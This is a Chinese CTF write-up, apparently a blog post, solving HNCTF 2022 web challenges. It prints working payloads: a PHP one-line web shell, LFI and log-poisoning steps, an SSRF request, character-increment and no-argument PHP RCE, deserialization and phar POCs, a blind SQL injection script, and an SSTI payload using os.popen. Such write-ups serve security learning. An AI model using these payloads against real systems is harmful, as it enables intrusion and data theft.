[Week1]Interesting_http
分析
应该和http协议有关 想要什么 肯定flag
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0Is2GDWt-1666973111128)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/1666972230013-1e6c375b-ee3b-427d-8e29-7df382e20751-16669726368142.png)]](https://img-blog.csdnimg.cn/a10eb4014a2b4c9593123e826c122a3f.png)
说我们不是admin 看看cookie
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HjeGTS6h-1666973111129)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170143595.png)]](https://img-blog.csdnimg.cn/e1af24936a8740a489edd22e5eccb342.png)
修改cookie
继续修改 x-forwarded-for
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-czZfl2wk-1666973111130)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170312095.png)]](https://img-blog.csdnimg.cn/c8c97846df3f4355869428a9cca986d2.png)
payload
POST:want=flag
请求头 Cookie: user=admin
x-forwarded-for:127.0.0.1
[Week1]2048
分析
题目描述
你能达到20000分吗?应该是要求我们玩到20000分
F12查看脚本
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I4PpmmCA-1666973111130)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170621722.png)]](https://img-blog.csdnimg.cn/d7f001d4c2be472a8c5fa8d1f4b3c1a6.png)
直接输入
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tB3Ia9S7-1666973111131)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170637534.png)]](https://img-blog.csdnimg.cn/f356ba39123e4aed97041395121b8ce2.png)
payload
在控制台输入
alert(String.fromCharCode(24685,21916,33,102,108,97,103,123,53,51,49,54,48,99,56,56,56,101,50,53,99,51,102,56,50,56,98,50,51,101,51,49,54,97,55,97,101,48,56,51,125));
[Week1]easy_html
分析
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ecU3AgtC-1666973111132)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170744760.png)]](https://img-blog.csdnimg.cn/bb3ea5cfed414c61be7481ebbb396fec.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GZmHQtW0-1666973111132)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170812253.png)]](https://img-blog.csdnimg.cn/131fe97dc2474e50991fa41811268db5.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vmHH0a5C-1666973111133)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170828618.png)]](https://img-blog.csdnimg.cn/c2887b1ac1654b4da1bb2c0ef186cda6.png)
输入框限制了11位 f12修改html属性 或者直接post参数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pYgjTlcQ-1666973111133)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170928310.png)]](https://img-blog.csdnimg.cn/8c3a48d044d241c18d5e54e035c4b4c5.png)
paylaod
POST请求参数
cnt=11111111111&login=%E7%99%BB%E5%BD%95
[Week1]Interesting_include
分析
题目描述:web手要懂得搜索 应该要借助浏览器
一眼伪协议
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n2mt0JPN-1666973111134)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026171036902.png)]](https://img-blog.csdnimg.cn/fa9b7ba4f6544e489b3e5070d3559a7c.png)
base64解码

payload
GET:
?filter=php://filter/convert.base64-encode/resource=flag.php
base64解码
[Week1]easy_upload
分析
文件上传题目
试探一下上传个木马
<?php eval($_POST[1]);?>
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dEqywAYm-1666973111135)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026171337477.png)]](https://img-blog.csdnimg.cn/7513c34144d24ca9a6c87c793e7327ab.png)
我敲,直接上传成功 有些不对劲哦!
访问一下下试试,我敲 送分题
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tKrDzbaz-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172150775.png)]](https://img-blog.csdnimg.cn/b7d87ddc51f24422bd5446d8e2af6fda.png)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CWRwFpT9-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172222398.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9G7Zf4Er-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172229588.png)]
payload
直接上传php一句话木马
flag在根目录下
[Week1]What is Web
分析
我敲 我傻了 这个题没写
直接查看源码 搜索 flag 或者 <!  base64解码
payload
也就是看源码
[Week1]Challenge__rce–自增RCE
分析
hint:ctf吃瓜杯
打开源文件,查看源码 发现hint
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mxXpJtSA-1666973111137)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026215456485.png)]](https://img-blog.csdnimg.cn/43f1d4dcb7e7495e8e58a10825796585.png)
直接给出的是源码
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xHsf0zmL-1666973111137)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026215521446.png)]](https://img-blog.csdnimg.cn/b354b7b2a19c40daab7267340beb8e82.png)
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
先跑一下试试那些可见字符没有被过滤
for($i=32;$i<127;$i++){
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($i))) {
echo chr($i);
}
}
大致说一下
php中 $_ = []._; echo $_; => Array_ $_[0]==>A 这样就可以构造命令执行
本题中限制字符120 我们可以构造chr函数 拼接GET
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
url编码
%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_1%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B(%24%24_%5B1%5D)()%3B
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5WFTN9Ih-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026222606031-16667943670284.png)]](https://img-blog.csdnimg.cn/cc3fa7e32685406e9dbf9d29c103a5b9.png)
说明是可行的
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
这样说是太长了 emmm
检查发现写的有点问题 改进以下
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
GET
?1=system&2=ls
POST
rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mYKYRUbj-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026225911182.png)]](https://img-blog.csdnimg.cn/20741d196f314bb39905e4c6916b46e1.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JwwDTUgG-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230033386.png)]](https://img-blog.csdnimg.cn/67a8367de5ee4110a5555dcfdaa64cf4.png)
payload
GET
?1=system&2=cat /ffflllaaaggg
POST
rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
[WEEK2]easy_include – 包含日志
分析
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php date flag 看来是无法直接读取flag 而且无法使用伪协议
想到之前学的文件包含利用姿势:包含访问日志 查看以下服务器
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YJ097Sua-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230929757.png)]](https://img-blog.csdnimg.cn/3ba99e8bd67948c094973732a85fbdf2.png)
默认文件位置在:
/var/log/nginx/access.log
直接包含以下
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yoYTGg0Z-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230957150.png)]](https://img-blog.csdnimg.cn/44c62cbbeedb4dfbb41e913712a6ea24.png)
payload
就是抓包在请求头写入一个木马 连接就好
[WEEK2]ez_ssrf
分析
根据题目访问index.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
考点就是php socket 伪造http请求ssrf
猜测有flag.php 直接发送请求看看,等到几十秒 给出如下反应 那就访问本机把
?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogNDMuMTQzLjcuOTcNCkNvbm5lY3Rpb246IENsb3NlDQoNCg==&host=43.143.7.97&port=28819
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FrJVpLfI-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093454019.png)]](https://img-blog.csdnimg.cn/dd8c964db4364d89a790cbee79aae900.png)
但是访问本机22819端口无回显,考虑一般都是80端口 试试呗
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6L7w5Gjj-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093534865.png)]](https://img-blog.csdnimg.cn/ed6f4d54d0444299bcee794a4e69bde3.png)
这里要等待估计30s左右
其实一开始我就访问的本机80 但是因为等的好久就关了!!
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZUwFtG67-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093734103.png)]](https://img-blog.csdnimg.cn/9d47ab0f266e4fae87cc420cf5e3ee0f.png)
payload
?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80
[WEEK2]Canyource – 无参数RCE
分析
打开发现直接给的源码
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
ok发现此条正则表达式
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
题目要求替换后的是; ,也就是我们传参的类似a(b(c(x())));
无参数RCE 可以网上一搜很多的
下面我们开始进行解flag
- localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
- pos() – 返回数组中的当前单元, 默认取第一个值
- next – 将内部指针指向数组下一个元素并输出
- scandir() – 扫描目录
- array_reverse() – 翻转数组
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QNlIb2xG-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112321439.png)]](https://img-blog.csdnimg.cn/0df55da942554731924619fd7e7bacb8.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HF2JMkmf-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112330919.png)]](https://img-blog.csdnimg.cn/6ab51dd682c449968b12681fb0a7b140.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PF115PM7-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112342952.png)]](https://img-blog.csdnimg.cn/cd61f955194c41f5b5cb50836de210ce.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x01YiRdw-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112430537.png)]](https://img-blog.csdnimg.cn/96723fbfc78141e3a666c36f212c504e.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hMPCJiMX-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112604918.png)]](https://img-blog.csdnimg.cn/8d6b172a7fae4d0da75d7ab7024573fc.png)
下面就是输出flag.php的内容
过滤了
url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\/
使用 file_get_contents 读取
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9zesh3Co-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112752274.png)]](https://img-blog.csdnimg.cn/07758233adf64cd383193852d55c945b.png)
查看源码
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tHJZWcQX-1666973111142)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112758866.png)]](https://img-blog.csdnimg.cn/68de3375ec9f4616a22a4f298c5de1e7.png)
payload
?code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));
[WEEK2]easy_unser
分析
PHP反序列化 打开题目为源码
include 'f14g.php';
error_reporting(0);
highlight_file(__FILE__);
class body{
private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";
}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}
class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}
$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);
if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
审计一波源码
我们的目标是 highlight_file($this->want); 也就是 body 类
传入 ywant
要保证 不触发 __wakeup() 传入参数数量大于实际参数数量绕过
绕过 $this->want == "f14g.php" OR is_file($this->want)
- 伪协议 is_file检测除了file外的伪协议都是false
- 假目录 ./flase/../f14g.php
POC
<?php
class body{
private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
public function __construct($want){
$this->want = "./a/../f14g.php";
$this->todonothing = "22";
}
}
echo(urlencode(serialize(new body())));
?>

payload
O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A15%3A%22.%2Fa%2F..%2Ff14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D
或者
O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D
[WEEK2]easy_sql – 无列名盲注
o!看了wp才知道就是union无列名注入 小问题 出来就好!!嘿嘿
分析
打开题目,发现页面的回显只有:1的、错误、error 三种 可以考虑盲注了
and && ^ # --+ 都被过滤
- 盲注的话考虑:与、异或、按位或、按位与
- 没有办法闭合考虑 or ||
sql中字符数字可以和数字进行按位或
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4oiShfqr-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026232213666.png)]](https://img-blog.csdnimg.cn/856f84f6b5db4dbfa8657fe238f86674.png)
构造 1'|1||' 正确回显 1'|2||' 错误回显
然后进行爆破数据库长度
发现数据库的长度是3
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u0wNKgDJ-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026174631076.png)]](https://img-blog.csdnimg.cn/bff5eb543a7546748050300f22520087.png)
进一步尝试,order、information_schema都被过滤
information_schema 被过滤 -> 无列名注入
order 被过滤 -> group 替换
爆破数据库的列数,3列
1'group/**/by/**/3,'
前面的'闭合1前的' 后面的是闭合之前有的'
加上,分开 因为过滤了# 和 + 无法注释 而order by group by要在最后 使用,分割
select * from xx where id = '1'group by 5,'2'
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k1IXrpJS-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026193545902.png)]](https://img-blog.csdnimg.cn/19da4a26476942bcaec8a1f1d578ec95.png)
information_schema.table被过滤 可以使用 mysql.innodb_table_stats
脚本爆破一下表的名字 得出 ccctttfff
def get_cloumns():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)
下面无列名爆破数据
select 1,2,3 union select * from ccctttfff
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QmKgz93H-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194312863.png)]](https://img-blog.csdnimg.cn/590a5975452f409084fe19f23832827e.png)
这样以来 1 2 3 分别对应一列 二列 三列 的列名
然后
select group_concat(`1`,'-',`2`,'-',`3`) from (select 1,2,3 union select * from ccctttfff)a
select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fMfggjyA-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194427324.png)]](https://img-blog.csdnimg.cn/f97e8842aafc457ba1207a160ed11bdc.png)
这样就可以在没有列名的情况下查询到数据库信息
然后我们开始盲注
1'|if(ascii(substr((select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))=55,1,2)||'
运行了好多遍 遍历出来的三列分别是
# 第一列 1
# 第二列 bob
# 第三列 I am so handsome
呜呜呜,跑了好多遍,终于怀疑:出题人是不是没有把flag放到这数据库
重新跑所有的数据库库名
qwq,原谅我太菜
跑出来有两个数据库
ctf ccctttfff
def get_all_database():
flag = ''
count = 1
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
if success in resp.text:
flag += chr(i)
print(flag)
break
elif i == 126:
return False
time.sleep(0.1)
count += 1
def get_all_database():
flag = ''
count = 1
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
if success in resp.text:
flag += chr(i)
print(flag)
break
elif i == 126:
return False
time.sleep(0.1)
count += 1
第一个脚本结果:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dkp2cagP-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113412616.png)]](https://img-blog.csdnimg.cn/faaf376ae6c74484a4cdca8750c2b39a.png)
第二个脚本结果:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g55lVKlk-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113035256.png)]](https://img-blog.csdnimg.cn/bc415de54e0747c08297165525d71086.png)
然后我跑的是所有的表名
因为知道ccctttff属于ctf,那么跑出来的其余的都是ctftraining的
def get_tables():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)
我是估计flag就在flag表里面,但是把无列名查询我们要知道表中具体的列数的 我们又不知道flag表多少列
我查了资料也没找到,因为information_schema被过滤,有大佬知道可以说下的!
然后就是靠懵了
比赛中表的列数一般会小于10 也就 3 4 5左右
我是从1开始试的
1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'
脚本
def get_values():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
print(i)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)
最后也是跑出来了
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oBfMminE-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027114429123.png)]](https://img-blog.csdnimg.cn/dd766b735ae540ae93bee56255f285f0.png)
PS:这个题挺鸡贼的哈哈哈
payload
就放的最后的
def get_values():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
print(i)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)
[WEEK2]ez_SSTI – 无过滤
分析
get参数是name,无过滤 直接SSTI注入就好
payload
?name={{"".__class__.__mro__[1].__subclasses__()[226].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat flag').read()")}}
[WEEK2]ohmywordpress
版本是6.0.2 好像是存在sql注入 但是没搜到相关资料
[WEEK3]ez_phar
upload.php上传
<?php
class Flag{
public $code;
}
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar -> startBuffering();
$phar -> setStub("GIF89a<?php am i a haker ?__HALT_COMPILER();?>");
$a = new Flag();
$a->code = "system('cat /ffflllaaaggg');";
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
?>
访问
http://ip:port/?filename=phar://./upload/test3.png
[WEEK3]Fun_php
分析
打开题目直接给出的是源码
<?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;
$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];
$data = @$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];
if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
echo "Welcom T0 1he HNCTF2022<BR>";
if("state_HNCTF2022" == 1) echo $hint;
else echo "HINT? NoWay~!<BR>";
if(is_string($getUserID))
$user = $user + $getUserID;
if($user == 114514 && $getpass == $pass){
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
}
if(is_array($data)){
for($i=0;$i<count($data);$i++){
if($data[$i]==="Probius") exit();
$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;
else
die("HACK!");
}
if($week_1 && $week_2){
if(md5($data)===md5($verify))
if ("hn" == $_GET['hn'] &??+!!??& "?? Flag!??ctf" == $_GET[??LAG??ctf]) {
if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");
else{
echo "Fine!you win";
system("cat ./$want");
}
}
else
die("HACK!");
}
?>
扫一眼 是要我们 $week_1 $week_2 均为true会给出flag
第一个$week_1
if(is_string($getUserID))
$user = $user + $getUserID;
测试 :
<?php
echo "9a"+'10';
echo "\n";
echo "a9"+"11";
echo "\n";
echo "9a"+'a8';
echo "\n";
echo "a4"+'a8';
那么我们知道要传入user=114514
if($user == 114514 && $getpass == $pass){
}
给user传入114514 给pass传字符 mySaid 传纯字母 myHeart传纯数字
如果返回了Cheater!说明 $pass 就是字母开头 给pass传字母来绕过,假设成立
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JNyYX98t-1667181404148)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221029164546721.png)]](https://img-blog.csdnimg.cn/6410d5421db046039b12afacf5a63a15.png)
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
如下,我们让第一个 $week_1 = true;
user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293
下面实现第二个
if(is_array($data)){
for($i=0;$i<count($data);$i++){
if($data[$i]==="Probius") exit();
$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;
else
die("HACK!");
}
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k6ojcjYC-1667181404149)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221029165914150.png)]](https://img-blog.csdnimg.cn/262eb65a1ad2470eb8d49dbff30ce251.png)
这样我们就让 $week_2=true 进入下一个if
if($week_1 && $week_2){
if(md5($data)===md5($verify)){
}
进入下一个条件
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tjg8jWbq-1667181404150)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221029170113234.png)]](https://img-blog.csdnimg.cn/d5cf0fc1158e47819951426d363ef077.png)
这个使奇怪的编码 Unicode 在NSSCTF 有一个 CheckIn 考点就是这个
我们在vscode打开修改就好了

U+202E=>0xE2 0x80 0xAE=>%E2%80%AE
U+2066=>0xE2 0x81 0xA6=>%E2%81%A6
U+2069=>0xE2 0x81 0xA9=>%E2%81%A9
hn=hn
%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf
试下我们思路是否正确
